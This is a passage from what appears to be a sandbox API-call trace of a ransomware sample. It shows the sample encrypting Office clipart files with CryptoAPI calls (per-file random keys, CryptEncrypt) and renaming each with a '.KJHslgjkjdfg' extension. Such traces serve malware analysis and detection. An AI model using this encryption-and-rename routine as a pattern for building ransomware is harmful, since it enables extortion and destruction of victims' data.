pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.004] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.004] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0159.007] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.007] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.007] GetProcessHeap () returned 0x2a0000 [0159.007] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.007] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.007] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.007] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.007] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.007] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.007] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.007] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.007] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.007] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.007] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.007] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x32f2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x32f2, lpOverlapped=0x0) returned 1 [0159.009] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3300, dwBufLen=0x3300 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3300) returned 1 [0159.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.009] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3300, lpOverlapped=0x0) returned 1 [0159.009] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x33d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.009] SetEndOfFile (hFile=0x114) returned 1 [0159.012] GetProcessHeap () returned 0x2a0000 [0159.012] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.012] GetProcessHeap () returned 0x2a0000 [0159.012] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.kjhslgjkjdfg")) returned 1 [0159.013] CloseHandle (hObject=0x114) returned 1 [0159.013] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0159.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.014] GetProcessHeap () returned 0x2a0000 [0159.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.014] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.014] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.014] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.017] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.017] GetProcessHeap () returned 0x2a0000 [0159.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.017] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.017] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.017] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.017] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.017] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.017] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.018] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.018] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.018] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa8c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa8c, lpOverlapped=0x0) returned 1 [0159.018] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa90, dwBufLen=0xa90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa90) returned 1 [0159.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.018] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa90, lpOverlapped=0x0) returned 1 [0159.018] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.018] SetEndOfFile (hFile=0x114) returned 1 [0159.021] GetProcessHeap () returned 0x2a0000 [0159.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.021] GetProcessHeap () returned 0x2a0000 [0159.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.kjhslgjkjdfg")) returned 1 [0159.025] CloseHandle (hObject=0x114) returned 1 [0159.025] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0159.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.026] GetProcessHeap () returned 0x2a0000 [0159.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.026] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.026] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.026] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.028] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.028] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.028] GetProcessHeap () returned 0x2a0000 [0159.028] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.028] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.028] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.028] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.029] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.029] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.029] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.029] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.029] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.029] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b2e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b2e, lpOverlapped=0x0) returned 1 [0159.031] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b30) returned 1 [0159.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.031] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b30, lpOverlapped=0x0) returned 1 [0159.032] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.032] SetEndOfFile (hFile=0x114) returned 1 [0159.034] GetProcessHeap () returned 0x2a0000 [0159.034] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.034] GetProcessHeap () returned 0x2a0000 [0159.035] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.kjhslgjkjdfg")) returned 1 [0159.036] CloseHandle (hObject=0x114) returned 1 [0159.036] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0159.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.038] GetProcessHeap () returned 0x2a0000 [0159.039] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.039] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.039] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.039] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.039] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.039] GetProcessHeap () returned 0x2a0000 [0159.039] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.039] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.039] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.039] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.041] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.041] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.042] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.042] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.042] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3670, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3670, lpOverlapped=0x0) returned 1 [0159.043] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3670, dwBufLen=0x3670 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3670) returned 1 [0159.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.043] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3670, lpOverlapped=0x0) returned 1 [0159.043] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.043] SetEndOfFile (hFile=0x114) returned 1 [0159.045] GetProcessHeap () returned 0x2a0000 [0159.045] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.045] GetProcessHeap () returned 0x2a0000 [0159.045] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.kjhslgjkjdfg")) returned 1 [0159.046] CloseHandle (hObject=0x114) returned 1 [0159.046] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0159.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.047] GetProcessHeap () returned 0x2a0000 [0159.048] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.048] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.048] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0159.051] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.051] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.051] GetProcessHeap () returned 0x2a0000 [0159.051] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.051] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.051] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.051] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.051] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) 